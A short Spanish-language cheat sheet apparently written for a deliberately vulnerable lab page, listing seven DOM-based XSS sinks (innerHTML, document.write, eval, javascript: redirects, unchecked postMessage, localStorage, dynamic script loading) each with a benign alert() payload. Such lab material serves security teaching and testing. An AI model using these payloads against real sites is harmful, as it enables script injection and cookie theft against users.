Sinks inseguros (payloads benignos con alert)

1. location.hash → innerHTML

/dom-xss.html#<img src=x onerror=alert(document.domain)>

2. ?name → document.write

/dom-xss.html?name=<img src=x onerror=alert(1)>

3. ?cb → eval

/dom-xss.html?cb=alert(document.cookie)

4. ?next → location.href (open redirect / javascript:)

/dom-xss.html?next=javascript:alert(1)

5. window.postMessage → innerHTML (sin comprobar origen)

window.open('https://TU-HOST:8443/dom-xss.html').postMessage('<img src=x onerror=alert(1)>','*')

6. XSS almacenado en localStorage → innerHTML

7. ?src → inyección dinámica de <script> (cadena de suministro)

/dom-xss.html?src=https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js
(sin ?src)